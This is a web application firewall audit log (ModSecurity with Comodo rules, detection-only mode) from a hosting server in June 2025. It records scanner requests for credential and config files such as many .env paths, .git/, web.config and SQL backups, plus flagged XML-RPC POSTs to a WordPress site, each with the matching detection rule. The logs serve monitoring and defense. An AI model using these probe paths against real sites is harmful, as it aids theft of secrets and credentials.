alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9-vokQyF8-ounHsxsMAQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040254892861 929070 (- - -) Stopwatch2: 1750040254892861 929070; combined=2134, p1=369, p2=1346, p3=44, p4=68, p5=188, sr=95, sw=119, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c49e5c31-Z-- --cb463472-A-- [16/Jun/2025:07:47:41.565722 +0530] aE9-xEN_xpBAtP8SIP08pgAAAAo 185.177.72.210 34710 127.0.0.1 7081 --cb463472-B-- GET /backup.sql.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cb463472-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=15acae0ff0a88b2974207de491027b701750040261; expires=Mon, 16 Jun 2025 03:17:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cb463472-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backup.sql.old"] [unique_id "aE9-xEN_xpBAtP8SIP08pgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040260905977 659823 (- - -) Stopwatch2: 1750040260905977 659823; combined=2128, p1=345, p2=1672, p3=0, p4=0, p5=110, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cb463472-Z-- --4bb8051d-A-- [16/Jun/2025:07:47:45.500312 +0530] aE9-yEN_xpBAtP8SIP08qAAAAAo 185.177.72.210 34898 127.0.0.1 7081 --4bb8051d-B-- GET /:5000/log/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4bb8051d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ba196c0b0d3cfc5f0c10a7aae4ff53341750040265; expires=Mon, 16 Jun 2025 03:17:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4bb8051d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/log/.env"] [unique_id "aE9-yEN_xpBAtP8SIP08qAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040264849823 650551 (- - -) Stopwatch2: 1750040264849823 650551; combined=1594, p1=343, p2=1154, p3=0, p4=0, p5=96, sr=82, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4bb8051d-Z-- --1c116c73-A-- [16/Jun/2025:07:47:52.486650 +0530] aE9-z_vF1ly0gx5reNmIBwAAAAE 185.177.72.210 48832 127.0.0.1 7081 --1c116c73-B-- GET /:5601/environnements/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1c116c73-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fbc88d74543a1c0604279c6f4b1b80d21750040272; expires=Mon, 16 Jun 2025 03:17:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1c116c73-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/environnements/.env"] [unique_id "aE9-z_vF1ly0gx5reNmIBwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040271805265 681447 (- - -) Stopwatch2: 1750040271805265 681447; combined=2067, p1=384, p2=1600, p3=0, p4=0, p5=83, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1c116c73-Z-- --3e56aa4c-A-- [16/Jun/2025:07:47:59.551056 +0530] aE9-1gD0DwMUVKUIct3bMAAAAAI 5.62.43.211 49068 127.0.0.1 7081 --3e56aa4c-B-- GET /.env HTTP/1.0 Host: www.3econcepts.com X-Real-IP: 5.62.43.211 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 --3e56aa4c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.3econcepts.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --3e56aa4c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.3econcepts.com"] [uri "/.env"] [unique_id "aE9-1gD0DwMUVKUIct3bMAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/3econcepts.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040278888905 662216 (- - -) Stopwatch2: 1750040278888905 662216; combined=1974, p1=378, p2=1463, p3=0, p4=0, p5=133, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3e56aa4c-Z-- --a7a45035-A-- [16/Jun/2025:07:48:00.688031 +0530] aE9-11LyTgTLRBnIBDZhawAAAAM 185.177.72.210 37426 127.0.0.1 7081 --a7a45035-B-- GET /.cc-ban.txt.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a7a45035-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=568413abf3f7a016295774796f6076da1750040280; expires=Mon, 16 Jun 2025 03:18:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a7a45035-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cc-ban.txt.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cc-ban.txt.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.cc-ban.txt.bak"] [unique_id "aE9-11LyTgTLRBnIBDZhawAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040279980401 707695 (- - -) Stopwatch2: 1750040279980401 707695; combined=2072, p1=358, p2=1601, p3=0, p4=0, p5=112, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a7a45035-Z-- --a7254a2a-A-- [16/Jun/2025:07:48:04.397692 +0530] aE9-27oFnONBt7jRcBya5AAAAA4 185.177.72.210 37958 127.0.0.1 7081 --a7254a2a-B-- GET /plugins/web.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a7254a2a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4f34ef4b07db45aecf1c23b776536fb41750040284; expires=Mon, 16 Jun 2025 03:18:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a7254a2a-H-- Message: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/plugins/web.config"] [unique_id "aE9-27oFnONBt7jRcBya5AAAAA4"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/plugins/web.config"] [unique_id "aE9-27oFnONBt7jRcBya5AAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040283713097 684672 (- - -) Stopwatch2: 1750040283713097 684672; combined=1997, p1=385, p2=1438, p3=0, p4=0, p5=174, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a7254a2a-Z-- --9bd18907-A-- [16/Jun/2025:07:48:10.541158 +0530] aE9-4QD0DwMUVKUIct3bOQAAAAI 185.177.72.210 33494 127.0.0.1 7081 --9bd18907-B-- GET /config/.git/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9bd18907-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2daa4dff6f9248128a470b3c21abc0ce1750040290; expires=Mon, 16 Jun 2025 03:18:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9bd18907-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/.git/"] [unique_id "aE9-4QD0DwMUVKUIct3bOQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040289846483 694760 (- - -) Stopwatch2: 1750040289846483 694760; combined=1907, p1=368, p2=1440, p3=0, p4=0, p5=99, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9bd18907-Z-- --6b093e29-A-- [16/Jun/2025:07:48:13.624777 +0530] aE9-5IkQyF8-ounHsxsMFwAAAA8 185.177.72.210 33640 127.0.0.1 7081 --6b093e29-B-- GET /:8888/public/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6b093e29-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=304defdc797e6b8dc04ab47426285eff1750040293; expires=Mon, 16 Jun 2025 03:18:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6b093e29-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/public/.env"] [unique_id "aE9-5IkQyF8-ounHsxsMFwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040292957669 667170 (- - -) Stopwatch2: 1750040292957669 667170; combined=2036, p1=433, p2=1517, p3=0, p4=0, p5=85, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6b093e29-Z-- --33ab1601-A-- [16/Jun/2025:07:48:28.993162 +0530] aE9-9FLyTgTLRBnIBDZheQAAAAM 185.177.72.210 44742 127.0.0.1 7081 --33ab1601-B-- GET /:9000/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --33ab1601-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9a29ce0d85c3aed14386614ff3563a991750040308; expires=Mon, 16 Jun 2025 03:18:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --33ab1601-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/frontend/.env"] [unique_id "aE9-9FLyTgTLRBnIBDZheQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040308335352 657872 (- - -) Stopwatch2: 1750040308335352 657872; combined=2000, p1=376, p2=1534, p3=0, p4=0, p5=90, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --33ab1601-Z-- --b6e5ed13-A-- [16/Jun/2025:07:48:31.984837 +0530] aE9-9wS4XDlCv3KXioQLOwAAAAY 185.177.72.210 49958 127.0.0.1 7081 --b6e5ed13-B-- GET /django/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b6e5ed13-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6eef8ffb350b2ba21d4483c3ae23daba1750040311; expires=Mon, 16 Jun 2025 03:18:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b6e5ed13-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/django/.env"] [unique_id "aE9-9wS4XDlCv3KXioQLOwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040311337438 647463 (- - -) Stopwatch2: 1750040311337438 647463; combined=2440, p1=473, p2=1871, p3=0, p4=0, p5=96, sr=121, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b6e5ed13-Z-- --9a18f85e-A-- [16/Jun/2025:07:48:35.113439 +0530] aE9--roFnONBt7jRcBya8gAAAA4 128.199.112.101 50032 127.0.0.1 7081 --9a18f85e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9a18f85e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9a18f85e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9--roFnONBt7jRcBya8gAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040314115873 997635 (- - -) Stopwatch2: 1750040314115873 997635; combined=2300, p1=455, p2=1350, p3=47, p4=68, p5=248, sr=135, sw=132, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9a18f85e-Z-- --55878c04-A-- [16/Jun/2025:07:48:41.442916 +0530] aE9_AFLyTgTLRBnIBDZhgAAAAAM 185.177.72.210 42416 127.0.0.1 7081 --55878c04-B-- GET /administrateur/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --55878c04-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=40a09023983706f07cac157fa6607f271750040321; expires=Mon, 16 Jun 2025 03:18:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --55878c04-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/administrateur/.env.staging"] [unique_id "aE9_AFLyTgTLRBnIBDZhgAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040320791032 651947 (- - -) Stopwatch2: 1750040320791032 651947; combined=1664, p1=382, p2=1158, p3=0, p4=0, p5=124, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --55878c04-Z-- --26bfa814-A-- [16/Jun/2025:07:49:01.264270 +0530] aE9_FPvF1ly0gx5reNmILgAAAAE 185.177.72.210 50160 127.0.0.1 7081 --26bfa814-B-- GET /sitemaps/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --26bfa814-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=16a8ee357c34de5734ca02d5437b6bde1750040341; expires=Mon, 16 Jun 2025 03:19:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --26bfa814-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] 